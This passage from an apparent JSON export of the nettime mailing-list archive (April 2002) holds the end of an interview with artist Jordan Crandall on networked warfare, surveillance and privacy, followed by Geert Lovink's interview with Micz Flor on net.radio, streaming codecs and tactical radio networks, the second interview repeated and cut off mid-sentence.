When I start thinking of the erotic's role in a\npossible electronic human system, I come up with all sorts of romantic\nnotions of \u0091love\u0092 breaking the rules and short-circuiting the network.\n\nJC: Well said! Short-circuiting, but also rewiring, in a way that may not\nbe entirely functional.\n\nRA: In \u0093Trigger\u0094\u0092s storybook, you write of the soldier as an integrated\nweapons platform. Armies have tried to make soldiers more efficient by\nenhancing their capabilities \u0096 more recently with electronic weaponry \u0096\nsince the beginning of time. Yet since September 11, high-tech seems more\nlike a weakness than a strength. After all, the terrorist attacks on your\nstate of residence, New York, was low-tech but high-concept. It turned out\nto be extremely efficient. Does this have any bearing on your views of the\nintegrated weapons platform?\n\nJC: In all aspects of the military, efforts have been underway to more\nclosely tie human, armament, and combat network. In the Army's \u0091Land\nWarrior\u0092 program, for example, which is still in development, the soldiers\nare outfitted with headgear that allows them to see in any weather\ncondition, day or night, and with a 360 degree panorama. They are\nconnected to communications networks, and a head-mounted display allows\nrealtime information to overlay their field of vision. The goal is to\nbecome a more efficient, lethal, networked, fighting machine. There is\nsomething of the \u0091Borg\u0092 here, with the soldier becoming part of a hive\nmind. There is even a military concept of \u0091swarming\u0092: small, agile, highly\nmobile bands of soldiers armed with arrays of communications gear and\nnetworked weaponry, and heavily connected to airborne support. In\nAfghanistan, soldiers aimed handheld lasers at targets while laser-guided\nmissiles were launched at these targets from planes. Soldiers on the\nground, satellite systems, planes, and precision weaponry constituted a\nseamless flow, orchestrated through various command centers. This is the\nsoldier as integrated weapons platform. I don't think September 11 has\nchanged this concept, or the US's undying faith in high technology. What\nit has changed is the ways in which we justify increased military\npresence, and increased police presence in general \u0096 towards something\nthat would be more like an integrated policing platform. The fears of the\npublic are inflamed as the powers of military, the FBI and CIA, and\nvarious other kinds of policing and monitoring agencies, increase to meet\na need. I don't think that the US would admit that high technology is a\nweakness in any way. It just means the technology isn't good enough yet.\n\nRA: What about \u0091human intelligence\u0092 a.k.a. spies \u0096 like in the WW II\nmovies where they meet on dark nights while crossing bridges, infiltrate\neach other's lairs, go deep under cover? It seems that there is more than\nenough data, but not enough human resources to process and analyze this\ndata.\n\nJC: Yes, but the human is there to feed into the technology. It's part of\nthe technology. The human intelligence is linked to the machine. It's\nmediated by machinic systems. The human becomes a necessary component \u0096 it\nis never discounted. But it is of value in its having been made adequate\nfor integration with the intelligence and communications systems (and vice\nversa). Technology sets the terms, it modifies the capacities of the\nhuman. But in the end, technology is just human ingenuity, the extension\nof the human. Humans, machines, and combat systems are indelibly linked\nand we don't necessary know where one component ends and the other begins.\nYou're absolutely right about there not being enough human resources to\nprocess and analyze the data. But what is our answer is to that? Building\nmore and better machines.\n\nRA: What would be the base of an \u0091integrated policing platform\u0092. Instead\nof the single agent, all electroniced up, we would have ...\n\nJC: ... formerly isolated database systems linked up in shared networks.\nCommon interfaces to share data across various intelligence and policing\nagencies in as close to realtime as possible, with suspicions eased\nbetween governmental agencies that have been historically walled off from\neach other. New alliances between police, military, and industry. New\ncooperations to share intelligence information between countries.\n\nRA: Are you suggesting the privatization of the military? Is this science\nfiction or are there some real efforts taking place beyond the tradition\nof the militia?\n\nJC: The ties between military and industry are so strong already, and\nthere is a strong symbiotic energy that you wouldn\u0092t have if they we fully\nabsorbed into one another. The military is business by other means. There\nalways have to be other measures available. We\u0092re backed by an apparatus\nof war and work. In business, we have a tool; in war, we have a weapon.\n\nRA: Remaining on the subject of an integrated police, military, and\nindustry: where would this leave privacy laws? Do you think they will\nbecome obsolete? There are all sorts of buzzwords I can throw in here: new\nworld order, globalization, war against terror ...\n\nJC: There have been so many privacy debates online, and attempts have been\nmade to politicize this very urgent subject \u0096 at the same time that some\nhave tried to articulate the private/public divide in different terms,\nsuch as to replace a unified concept of privacy with a heterogeneous one\nlike \u0091zones of intimacy\u0092. But at least in the US, the debate hasn\u0092t caught\nfire, people don\u0092t see it as much of an issue anymore. People have been\nwilling to surrender privacy if it means more convenience, if it saves\nthem time, and if it offers more protection \u0096 especially now,\npost-September 11. The concern for safety trumps any concern over threats\nto privacy. In a sense, it has finished off this already much-beleaguered\nsubject. It urgently needs to be politicized, especially in light of the\nlack of opposition to the increasing of governmental powers that could\nthreaten civil liberties. But the terms of the debate need to be reworked.\nThe term \u0094privacy\u0094 needs to be unpacked: it\u0092s fraught from within.\n\nRA: Should we redefine privacy?\n\nJC: It is a matter of deciding what is absolutely crucial to protect and\nagainst what it should be protected. It changes through time and cultures,\nit\u0092s not really a stable concept.\n\nRA: Let's play out a worst case scenario: In twenty years from now\nabsolutely everything is networked; no loopholes. What then? Do you have\nany predictions on human behavior? In your work, the different camera\nperspectives charge the atmosphere. Do you think this would have the same\neffect on everyday life?\n\nJC: New forms of detection are always countered with new forms of\ndeception. There is always a dance between the two. I believe that total\nsurveillance is an impossible concept. There are always going to be things\nthat slip under the radar. In the war on Kosovo we had expensive\nprecision-guided missiles fired at cheap decoy tanks. The Serbian military\nalso strategically switched off their radar in order to obfuscate their\nground locations to the aerial electronics of NATO forces. You can even\nsee how this detection-deception dance refigures materiality: look at the\nform of the stealth fighter, which was built as a series of flat planes in\norder to evade radar detection. We want to increase our ability to see\nwhile evading detection by others, and our opponents want the same. So\nrather than a vector of one-way progress in detection technologies, we\nhave a matrix. Progress occurs in matrices of detection and evasion among\ncombative actors who are each trying to gain the edge. So I\u0092m interested\nin evoking the increased powers of surveillance, but rather than think\nonly of how we\u0092re becoming totally surveilled, I\u0092m interested in the\ningenious ways that we develop to jam the signal. To appropriate it, to\nreshape it in a way that is often soft and undulating, not hard-edged.\nMuch has been written about voyeurism, about the erotics of seeing, but I\nam very much interested in an erotics of display \u0096 of being seen by sensed\npresences \u0096 and how that connects to modes of deception and the dispersal\nof the fields of action. The playing field is often not where we expect\nit, or structured in terms of the codes that we know. In spite of the\nexponential increase in the powers of surveillance technology, we still\nhave to ultimately know where to look \u0096 this is the space that is\nconstantly being rewritten by the players.\n\nRA: Let\u0092s get back to classic, narrative, storybook cinema. Everybody\nplays by the rules, but love breaks it up. Yet your works have no actual\n\u0091story\u0092, do they?\n\nJC: Not really, although they do have some narrative pull and you can read\nall kinds of narratives into them. But I hope to frustrate that, just as I\nhope to frustrate binaries of construction/anarchy or\nattraction/repulsion. My works have the structure of systems, they\u0092re\nstructured along the lines of various circuitry diagrams and I think they\nhave a more matrix-like structure, almost like a database. But I have to\nadmit that I think of \u0093Trigger\u0094, at least on some level, as a kind of love\nstory. It is a courtship between the two actors, at least in a database\nreality.\n\nThis interview is included in the publication \u0093Jordan Crandall: Trigger\nProject\u0094, published by Revolver \u0096 Archiv f\u00fcr Aktuelle Kunst on the\noccasion of Crandall\u0092s exhibition at the Edith Russ Site for Media Art in\nOldenburg, Germany. April 6 \u0096 June 9, 2002\n\ninfo {AT} edith-russ-haus.de www.edith-russ-haus.de\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Mon, 15 Apr 2002 12:55:46 +0200 (MEST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200204151707.NAA30135 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0204/msg00108.html",
                "list": "nettime_l",
                "author_name": "Roseira",
                "subject": "<nettime> interview with jordan crandall"
            },
            {
                "id": "00212",
                "content": "\nTactics of Streaming\nInterview with Micz Flor\nBy Geert Lovink\n\nMicz Flor is a multi-talented cultural worker. As a programmer, artist,\nteacher, writer and project manager Micz has been organizing a variety of\nevents, net projects, magazines and temporary media labs (see:\nhttp://mi.cz/cv.htm). I got to know Micz in 1997 while working with him in\nthe team of the Hybrid Workspace project (Documenta X/Kassel:\nhttp://www.medialounge.net/lounge/workspace/). One year later he organized\nhis own temp media lab in Manchester. Micz is a cool, busy and ambitious\nperson that loves to tinker and play around with media and code. Laid back,\nin a Berlin minimal techno manner. Very post-German.\n\nMicz Flor lived and worked in London, Liverpool, Vienna and Prague and is\nnow back in his base, Berlin. In 1999 he got very involved in supporting\nindependent media in Former Yugoslavia. Lately he has been working for\nthe Camp lab in Prague which trains journalists all over the world how best\nto integrate new media in their work. In this capacity Micz travelled to\nIndonesia and other Asian countries. On his Crash site (http://crash.mi.cz)\nyou can see his streaming video about Radio 68H Indonesia, Reaching\nEveryone. Radio 68H is an independent radio network for hourly news\nprogrammes and magazine formats. The local hub in Jakarta maintains\nthe network and redistributes local news via satellite. Radio 68H consists\nof over 250 radio stations. As a 'tactical' medium uses email to collect\nand distribute MP3 reports from all the archipello. There will\nbe a longer documentary version on Indonesia's Radio68h available soon,\nas  part of the 'Scattered Frequencies' mini-series on radio networking he\nproduces together with Philip Scheffner. The first part on an independent\nradio network in Nepal is already available. Another of his webfilms,\nEUrope on your Doorstep looks the impact of European funding the\neconomically underdeveloped region of Liverpool (UK).\n\nIn Berlin Micz has lately been working on www.fluter.de, an online youth\nmagazine, developed for German Ministry for Political Education\n(www.bpb.de). This project has been initiated by the company of Micz Flor\nand Tanja Lay, named Redaktion und Alltag\n(http://www.redaktionundalltag.de/), one of many small webdesign and content\noffices working out of Berlin.\n\nMicz's specialty is connecting hi and low tech taking all local\ncircumstances into account. However, his passion lies in streaming media and\nradio in particular, which started in Berlin with his involvement in the\nnet.radio group called convex tv. Micz won several awards for his net.art\nworks but is hesitant to label himself an artist, feeling increasingly\nuncomfortable with the way in which the art world deals--or rather does not\ndeal--with new media and its social and political aspects. The following\ninterview focusses on the current situation of streaming media networks and\nstandards.\n\nGL: What makes net.radio in your experience so different from normal radio?\nIt is important to further explore these differences? Or is it just a\nmatter of adding another distribution channels to the growing list of (new)\nmedia outlets?\n\nMF: Net.radio is very different from normal radio. In fact, net.radio - and\nthe hype surrounding it - made 'normal' radio reconsider itself. In the\nearly days of audio streaming over the Internet, many 'normal' radio\nstations were trying to jump the bandwagon and went 'online'. In those\ndays, you would find websites of radio stations to provide nothing more but\nthe station logo and a button saying 'live' - launching an external player.\nThis clumsy attempt of translating an established medium into a network\nenvironment really put a finger on the strength and weaknesses of radio as\nwe knew it; the linear, one-way, no-frills-no-thrills transmission it is.\n\nOnly recently, 'ordinary' radios put more effort into living up to the\nworld wide web, providing an adequate environment to which listeners can\ncome, dwell, contribute, search, discuss and get on-demand material.\n\nBut in return, this process of redefining 'ordinary' radio when it goes\nonline has also put a finger on the strength and weakness of net.radio; the\nlack of definition and tangibility. In fact, net.radio seems to be\neverything normal radio is not ... and it is on the Internet.\n\nThis is a very powerful starting point for experimental net.radio projects.\nIt is not so much the question if it is important to explore the\ndifferences between the two. First and foremost it is not 'ordinary' radio\n- and then it's just anything else as long as it is online.\n\nOf course, audio streaming is more and more becoming a central part of the\ngrowing list of new media channels. But at the same time, we are all still\nwaiting for the new front end, the browser of the next generation, where\nall these media outlets are coming together at the screen and speakers and\nwhat else of the user, listener, or whatever you would want to call the\nnext generation receiver.\n\nThis client 'solution' is not there yet. And that's a good thing. So far,\nnot even multi-national lobbies such as Microsoft or AOL managed to prune\nthe Internet into the shape they would dream of. In fact, every attempt to\nshape the multitude of formats, players and codecs has only put strength to\nalternative solutions. Peer-to-peer distribution channels, such as Gnutella\nis one example, alternative audio video formats such as Ogg or DivX are\nanother.\n\nGL: The Xchange network which established itself in 1998 has been\nrelatively stable in seize since its first year. Whereas the overall\nInternet has grown exponentially, going through the dotcom period of\nintense financial speculation, many non-profit streaming initiatives have\nremained low key. How would you explain this? Would this be related to the\nrelatively growing (self)isolation of the new media arts? Or rather with\nthe problems of the streaming media sector at large?\n\nMF: I would assume that many of the more experimental initiatives in the\nnet.radio field have reached a certain level of saturation already early\non. And now they stay that way, keeping the financial turmoil at an arms\nlength distance. I doubt that this has to do with a tendency for\nself-isolation. The experimental net.radio scene is based on an intriguing\nmixture of challenging sonic liking, obscure technical interests and a\nradiant interest in new distribution channels. No surprise that many of\nthese people were online early on, playing with Internet broadcasting\nformats and finding a like-minded audience years before the big hype.\n\nSo the motivation of such closely knit communities never really went\ntowards establishing business solutions and supplying sustainable business\nplans. If anything, throughout the hype period I sensed some level of\nfrustration and suspicion towards all these start-ups who would take\nhalf-baked ideas and rake in venture capital. It restricted many\ncommunities in terms of their free flow of ideas, as one would never know\nif someone else would listen in, pick it up and get some money from this\nidea, simply because she or he looks better in a suit.\n\nIn a way it seemed as if the 'avant-garde' of net.radio was mostly\nsurprised by the cash flow surrounding it. Coming from inside the system,\nnobody really understood how and why this should make any real money and\ncertainly not the sums flying around at the time. Looking back on these\ndays, I am sure many of the early DIY streaming experts think \"I could have\ntold you\" as well as \"I wish we had driven a million against the wall, that\nsounds like fun.\"\n\nGL: Would you say that the technical limitations and the confusion of\nstandards for streaming media over the past five years have been a good or\na bad thing?\n\nMF: The confusion is still going on. But within all the confusion some\ndevelopments are getting clearer.\n\nThe most prominent yet quiet development over these years of confusion was\nthe clear separation of media player and streaming format. In the early\ndays, to encode your media for the Internet, to stream it over the Internet\nand listen to it at the other end came all in one box. Take RealMedia as an\nexample. They started very early on and for a long time provided the only\nreliable and compatible solution for streaming media. In order to stream\nRealMedia content, you needed their RealEncoder, their RealServer and the\nRealPlayer to listen to the stream.\n\nToday, MP3 is a very dominant format for streaming audio on the Internet.\nIn order to do this, you pick one of many encoders, one of many server\nsolutions and one of many too many players at the client side. It is all\nusing the MP3 standards, but there are even many codecs who provide\ndifferent quality and require different processing power when encoding or\ndecoding the audio.\n\nMost users have some media player on their machine. So let's take a closer\nlook at commonly used players, such as WinAMP, RealPlayer, The Windows\nMedia Player or the Quicktime Player. Most of such applications are little\nmore than a shell providing clear definitions to developers of audio\ncodecs. So in order to establish a new form of audio compression, you\nshould not only think in terms of quality. You should also develop your\ncodec to be compatible with many or all of the commonly used players, so\nthat people can listen to material which uses your format. MP3 is a good\nexample. You can play this type of audio with almost any player.\n\nGoing back to your first question, bringing together all different types of\nnew media channels into one player - or browser - seems to be an issue for\nmany streaming media players. RealMedia for example is putting great effort\ninto making their player compatible with many available formats. Even Flash\nfilms can be player in the RealPlayer, a format which usually is embedded\nin ordinary web pages. All this seems to aim towards establishing a browser\nof the next generation, including all formats available on the Internet.\nThe fact that WinAMP is also capable of displaying HTML web pages in an\nextra window is also indicating this development.\n\nSo the confusion remains, but the confusion is not only tied into the\nstandards and formats, it is also tied into the rules of the game of\ndeveloping players and codecs. It's almost like a chicken and egg question:\nif you want to establish a new player, make sure it plays as many popular\ncodecs as possible. If you want to establish a new codec, make sure it can\nbe played on as many popular players as possible.\n\nAs for the technical limitations, they will always be part of the rule set.\nBut, the more time goes by, the more solutions become available live and\nonline which were never originally developed to be streaming media formats.\nAgain, take MP3 as an example. At the time of development, this codec was\nmeant to provide the audio track of Video CDs. Only few people would have\nthought that it could become a standard for streaming live audio over the\nInternet. The available bandwidth was just too poor and the processing\npower it took to encode MP3 in real time was too much to allow live\nstreaming. And now you have it.\n\nAnd the confusion is far from over. As the separation of players and codecs\nis a fact, media itself become less and less clearly defined.\n\nQuicktime was one of the first to think of media files not only as linear,\nframe based data-streams. Instead they thought of their media files as\ncontainers where you can dump all your individual media into and add a time\nline and that's that. So audio might be using one type of compression and\nvideo another. And you could even add some stills, and text and so on. At\nthe other end, the Player will take a look at the media container, pick up\nthe time line and the instructions and see what codecs are available to\nplay what's in the container. In this case you might find a situation where\nthe player will play no video at some parts, because it lacks the right\ncodec for the image, but the audio is fine. Later on, it all looks just\nperfect.\n\nThinking of media as a container is far removed from the close connection\nbetween content and technology that we know from the analogue world. Try to\nplay an audio tape with your VHS player and you know what I mean.\n\nUnderstanding media files as containers will be the base camp. So there you\nhave all the confusion you want in one box: the player is an empty shell,\nthe media file is an empty container and inside is a multitude of media\nusing a multitude of codecs.\n\nYou were asking if I thought such confusion is a good or a bad thing. It's\ncertainly a lot of fun to look at. I guess as long as the concept of the\n'media file' remains as open as it is today, it is very adequate in\nallowing adjustments. Some technical limitations suddenly are no longer\nobstacles pulling some formats suddenly into the ballgame. At the same\ntime, there is always enough room to throw them out again at some point, as\nmany solutions used on the Internet today for streaming media still carry\nrestrictions of their former use - again, take MP3 as an example.\n\nThe confusion shows one thing clearly. Those big players with the financial\nmuscle to flood the market with their solutions don't seem to be providing\nthe best solutions. Or why else would the confusion remain and smaller\ndevelopers suddenly become essential players in the game.\n\nGL: Where would you like to see the critical and cultural streaming media\npractices go to? Unlike pirate radio or mini FM net.radio does not (yet)\nhave legal troubles. Do you see the freedom to narrowcast turning into a\nclosed and self-satisfied, stagnating subculture? Napster was a lost\nopportunity.\n\nMF: It is hard to imagine that streaming or exchanging audio over the\nInternet would face the same restrictions and out-of-proportion penalties\nthat mini FM or radio piracy are threatened by. Having said this, the\nInternet also provides the best possible framework by which restrictions\nand penalties could be coerced on deviant users. Confusion again.\n\nWhat a complicated way to charge someone who listens to FM radio. There is\nno way to track reliably and on a large scale who is switching on their\nreceivers to listen to a programme. What an easy thing to track who is\nlistening to a programme over the Internet. And in most cases there is\nalready a payment process in place: the phone bill. From that point of view\nit seems so easy to imagine restrictions and charges for Internet listeners\nand broadcasters.\n\nThe fact that there seems to be a legal gap where net.radio has escaped\ninto, says little about the endurance this situation might have. The\nsilence and indecisive actions from legal bodies only hints at the scale at\nwhich adequate means of restrictions are required to tackle the 'problem'.\nThe silence is anything but peaceful and the partial eruptions as in the\ncase of discussing new forms of copyright laws hint at the direction this\nmight take.\n\nAs the independent scene is using the new distribution channels for their\nmeans, and with little success of the large multi-national corporations to\nuse the same channels for their means, the big players have chosen\ndifferent paths. Copyright lobbyists are not fighting over peanuts in court\nwith some net.radio broadcasters from Manchester. Instead they are working\nbehind the scenes to implement an all-encompassing solution.\n\nIn the case of software piracy you can already see how lobbyists managed to\nget governments on their sides. In the Czech Republic for example, the\ngovernment can ask you to present your software licenses alongside with\nyour receipts when checking your books. Why? Well, for no other reason as\nto do the work for the software industries and identify cases of software\npiracy - which will then be taken to court. It sounds like its against the\nlaw, but most recently this practice has become law in itself. The\ngovernment turned itself into a tool for the software industry.\n\nUnfortunately I believe it is on that level that multi-nationals are using\ntheir muscle to put these levels of coercion into place.\n\nGL: Which are issues for 'tactical' interventions for you?\n\nMF: Using a combination of old and new media still provides a powerful tool\nagainst national regulations in many countries. The ANEM network, which was\nestablished in FRY (Federal Republic of Yugoslavia) by local radio stations\nlike B92 and others across the Balkan region is still a good example.\n\nIn the FRY at the time there was no way you could get a national license\nfor radio broadcasting, neither could you get the technology into place to\nhave a network of transceivers which would carry a signal throughout the\ncountry. However, local licenses for smaller stations were possible to get.\nSo in order to bring independent news to many regions of FRY, news were\ncollected and produced at a central hub in Belgrade, then streamed out of\nthe country through the Internet, picked up by a satellite transmitter and\nput onto a satellite. From there, all the decentralised, small stations\ncould receive the signal with an ordinary satellite receiver and\nrebroadcast it on their local frequency. The combined radio footprint of\nall the participating radio stations at the time reached around 65% of\nYugoslavia - without breaking any laws, without any expensive technology\nand without dismantling the decentralised nature of the network, as only a\nsmall percentage of their programme was used for news coverage.\n\nA similar network has established itself in Indonesia, using the audio\ntrack of a spare TV satellite channel to get the signal into the sky.\nThere, over 250 stations are participating in the network. And we are\ncurrently working with some local radio stations in Nepal on a similar\nsituation. However, Nepal provides even more obstacles as independent media\nis a very young phenomenon and neither the network technology nor the\njournalistic experience are in place to manage the structure.\n\nGL: Often people associate streaming media with broadband and fat pipes.\nYou have worked with streaming media initiatives, for instance in\nIndonesia. Is it fair to wipe out technological differences worldwide (in\nterms of resources and infrastructure) and say that streaming media is\nthere to be used by all, under every possible circumstance?\n\nMF: Streaming media is available in almost any corner of the world where\ntechnology is available. In most cases streaming media would mean nothing\nelse but a phone line. Using a cellular phone, you are using streaming\ntechnology on a low bitrate of about 8 kBps.\n\nThe Internet, of course, is not available in all corners of the world. The\nIndonesian network I described above started their services with providing\nnews bulletins over the Internet. Based in Jakarta, they could find a\nprovider which would host and distribute their files. But with only one\ngovernmental ISP in the far regions of the country who themselves only had\na 56k modem connecting all users with Indonesia and then going into the\nbackbone hell knows where, this was not a feasible solution. Today they are\nretrieving news from remote stations via cellular phones, digitise the\nmaterial, add their own commentary in the studio and then push it up onto\nthe satellite.\n\nWithout a reliable, safe and reasonably fast Internet connection in place,\nsuch tactical networks need to be centrally organised. In Nepal the\nsituation we discovered is even more difficult. A commercial TV station,\nbroadcasting satellite television every day, is producing the shows and\nnews in Nepal, then they put the tapes into a suitcase, someone flies to\nBangkok and they put the material on the satellite there. So television\nwill deliver yesterdays news. This might sound strange, but once you are\nabout 200 kilometres outside Kathmandu, print media will possibly be two\ndays late anyway. And then you might realise that there are not that many\npeople who can read.\n\nSometimes it is surprising to see that online here in the West we might be\nable to get radio stations from very remote places in reasonable quality.\nThe reality is that you might not be able to pick up the signal 10\nkilometres from the station itself. In many cases, streaming over the\nInternet is only available because some local ISP puts a radio receiver\ninto their office and takes the signal off that radio and into the Internet\nthere and then. The station producing the programme might not even have an\nInternet access itself.\n\nSo you can see that right now it is easier to get a streaming signal out of\ndeveloping areas and into the Western world than providing the information\nto a neighbouring village, island (Indonesia) or valley (Nepal).\n\nThe development for radio networks in these areas is lagging behind, but\ncreative solutions are filling the gaps the infrastructure leaves open for\nthe time being. But building a decentralised network does require a\nreasonable infrastructure to allow the exchange between stations in the\nperiphery, without requiring a central hub.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "\"nettime-l\" <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0204/msg00212.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Micz Flor: Tactics of Streaming",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                        "content": "\n\nTactics of Streaming\nInterview with Micz Flor\nBy Geert Lovink\n\nMicz Flor is a multi-talented cultural worker. As a programmer, artist,\nteacher, writer and project manager Micz has been organizing a variety of\nevents, net projects, magazines and temporary media labs (see:\nhttp://mi.cz/cv.htm). I got to know Micz in 1997 while working with him in\nthe team of the Hybrid Workspace project (Documenta X/Kassel:\nhttp://www.medialounge.net/lounge/workspace/). One year later he organized\nhis own temp media lab in Manchester. Micz is a cool, busy and ambitious\nperson that loves to tinker and play around with media and code. He\noperates in a laid back, Berlin minimal techno style. Very post-German.\n\nMicz Flor lived and worked in London, Liverpool, Vienna and Prague and is\nnow back in his base, Berlin. In 1999 he got very involved in supporting\nindependent media in Former Yugoslavia. Lately he has been working for the\nCamp lab in Prague, which trains journalists all over the world how best\nto integrate new media in their work. In this capacity Micz traveled to\nIndonesia and other Asian countries. On his Crash site\n(http://crash.mi.cz) you can see his streaming video about Radio 68H\nIndonesia, Reaching Everyone. Radio 68H is an independent radio network\nfor hourly news programs and magazine formats. The local hub in Jakarta\nmaintains the network and redistributes local news via satellite. Radio\n68H consists of over 250 radio stations. As a 'tactical' medium it uses\nemail to collect and distribute MP3 reports from the entire archipelago.\nThere will be a longer documentary version on Indonesia's Radio68h\navailable soon, as part of the 'Scattered Frequencies' mini-series on\nradio networking he produces together with Philip Scheffner. The first\npart on an independent radio network in Nepal is already available.\nAnother of his web films, EUrope on your Doorstep looks the impact of\nEuropean funding the economically underdeveloped region of Liverpool (UK).\n\nIn Berlin Micz has lately been working on www.fluter.de, an online youth\nmagazine, developed for German Ministry for Political Education\n(www.bpb.de). This project has been initiated by the company of Micz Flor\nand Tanja Lay, named Redaktion und Alltag\n(http://www.redaktionundalltag.de/), one of many small web design and\ncontent offices working out of Berlin. Last but not least, his hobby label\nSueMi http://sue.mi.cz has been releasing a number of 7-inch vinyl\nrecords.\n\nMicz's specialty is connecting hi and low tech taking all local\ncircumstances into account. However, his passion lies in streaming media\nand radio in particular, which started in Berlin with his involvement in\nthe net.radio group called convex tv. Micz won several awards for his\nnet.art works but is hesitant to label himself an artist, feeling\nincreasingly uncomfortable with the way in which the art world deals--or\nrather does not deal--with new media and its social and political aspects.\nThe following interview focuses on the current situation of streaming\nmedia networks and standards.\n\nGL: What makes net.radio in your experience so different from normal\nradio? It is important to further explore these differences? Or is it just\na matter of adding another distribution channels to the growing list of\n(new) media outlets?\n\nMF: Net.radio is very different from normal radio. In fact, net.radio -\nand the hype surrounding it - made 'normal' radio reconsider itself. In\nthe early days of audio streaming over the Internet, many 'normal' radio\nstations were trying to jump the bandwagon and went 'online'. In those\ndays, you would find websites of radio stations to provide nothing more\nbut the station logo and a button saying 'live' - launching an external\nplayer. This clumsy attempt of translating an established medium into a\nnetwork environment really put a finger on the strength and weaknesses of\nradio as we knew it; the linear, one-way, no-frills-no-thrills\ntransmission it is.\n\nOnly recently, 'ordinary' radios put more effort into living up to the\nworld wide web, providing an adequate environment to which listeners can\ncome, dwell, contribute, search, discuss and get on-demand material. But\nin return, this process of redefining 'ordinary' radio when it goes online\nhas also put a finger on the strength and weakness of net.radio; the lack\nof definition and tangibility. In fact, net.radio seems to be everything\nnormal radio is not ... and it is on the Internet.\n\nThis is a very powerful starting point for experimental net.radio\nprojects. It is not so much the question if it is important to explore the\ndifferences between the two. First and foremost it is not 'ordinary' radio\n- and then it's just anything else as long as it is online.\n\nOf course, audio streaming is more and more becoming a central part of the\ngrowing list of new media channels. But at the same time, we are all still\nwaiting for the new front end, the browser of the next generation, where\nall these media outlets are coming together at the screen and speakers and\nwhat else of the user, listener, or whatever you would want to call the\nnext generation receiver.\n\nThis client 'solution' is not there yet. And that's a good thing. So far,\nnot even multi-national lobbies such as Microsoft or AOL managed to prune\nthe Internet into the shape they would dream of. In fact, every attempt to\nshape the multitude of formats, players and codecs has only put strength\nto alternative solutions. A peer-to-peer distribution channel, such as\nGnutella is one example; alternative audio video formats such as Ogg or\nDivX are another.\n\nGL: The Xchange network, which established itself in 1998, has been\nrelatively stable in size since its first year. Whereas the overall\nInternet has grown exponentially, going through the dotcom period of\nintense financial speculation, many non-profit streaming initiatives have\nremained low key. How would you explain this? Would this be related to the\nrelatively growing (self) isolation of the new media arts? Or rather with\nthe problems of the streaming media sector at large?\n\nMF: I would assume that many of the more experimental initiatives in the\nnet.radio field have reached a certain level of saturation already early\non. And now they stay that way, keeping the financial turmoil at an arms\nlength distance. I doubt that this has to do with a tendency for\nself-isolation. The experimental net.radio scene is based on an intriguing\nmixture of challenging sonic liking, obscure technical interests and a\nradiant interest in new distribution channels. No surprise that many of\nthese people were online early on, playing with Internet broadcasting\nformats and finding a like-minded audience years before the big hype.\n\nSo the motivation of such closely-knit communities never really went\ntowards establishing business solutions and supplying sustainable business\nplans. If anything, throughout the hype period I sensed some level of\nfrustration and suspicion towards all these start-ups who would take\nhalf-baked ideas and rake in venture capital. It restricted many\ncommunities in terms of their free flow of ideas, as one would never know\nif someone else would listen in, pick it up and get some money from this\nidea, simply because she or he looks better in a suit.\n\nIn a way it seemed as if the 'avant-garde' of net.radio was mostly\nsurprised by the cash flow surrounding it. Coming from inside the system,\nnobody really understood how and why this should make any real money and\ncertainly not the sums flying around at the time. Looking back on these\ndays, I am sure many of the early DIY streaming experts think \"I could\nhave told you\" as well as \"I wish we had driven a million against the\nwall, that sounds like fun.\"\n\nGL: Would you say that the technical limitations and the confusion of\nstandards for streaming media over the past five years have been a good or\na bad thing?\n\nMF: The confusion is still going on. But within all the confusion some\ndevelopments are getting clearer.\n\nThe most prominent yet quiet development over these years of confusion was\nthe clear separation of media player and streaming format. In the early\ndays, to encode your media for the Internet, to stream it over the\nInternet and listen to it at the other end came all in one box. Take\nRealMedia as an example. They started very early on and for a long time\nprovided the only reliable and compatible solution for streaming media. In\norder to stream RealMedia content, you needed their RealEncoder, their\nRealServer and the RealPlayer to listen to the stream.\n\nToday, MP3 is a very dominant format for streaming audio on the Internet.\nIn order to do this, you pick one of many encoders, one of many server\nsolutions and one of many too many players at the client side. It is all\nusing the MP3 standards, but there are even many codecs who provide\ndifferent quality and require different processing power when encoding or\ndecoding the audio.\n\nMost users have some media player on their machine. So let's take a closer\nlook at commonly used players, such as WinAMP, RealPlayer, The Windows\nMedia Player or the Quicktime Player. Most of such applications are little\nmore than a shell providing clear definitions to developers of audio\ncodecs. So in order to establish a new form of audio compression, you\nshould not only think in terms of quality. You should also develop your\ncodec to be compatible with many or all of the commonly used players, so\nthat people can listen to material that uses your format. MP3 is a good\nexample. You can play this type of audio with almost any player.\n\nGoing back to your first question, bringing together all different types\nof new media channels into one player - or browser - seems to be an issue\nfor many streaming media players. RealMedia for example is putting great\neffort into making their player compatible with many available formats.\nEven Flash films can be player in the RealPlayer, a format that usually is\nembedded in ordinary web pages. All this seems to aim towards establishing\na browser of the next generation, including all formats available on the\nInternet. The fact that WinAMP is also capable of displaying HTML web\npages in an extra window is also indicating this development.\n\nSo the confusion remains, but the confusion is not only tied into the\nstandards and formats, it is also tied into the rules of the game of\ndeveloping players and codecs. It's almost like a chicken and egg\nquestion: if you want to establish a new player, make sure it plays as\nmany popular codecs as possible. If you want to establish a new codec,\nmake sure it can be played on as many popular players as possible.\n\nAs for the technical limitations, they will always be part of the rule\nset. But, the more time goes by, the more solutions become available live\nand online which were never originally developed to be streaming media\nformats. Again, take MP3 as an example. At the time of development, this\ncodec was meant to provide the audio track of Video CDs. Only few people\nwould have thought that it could become a standard for streaming live\naudio over the Internet. The available bandwidth was just too poor and the\nprocessing power it took to encode MP3 in real time was too much to allow\nlive streaming. And now you have it.\n\nAnd the confusion is far from over. As the separation of players 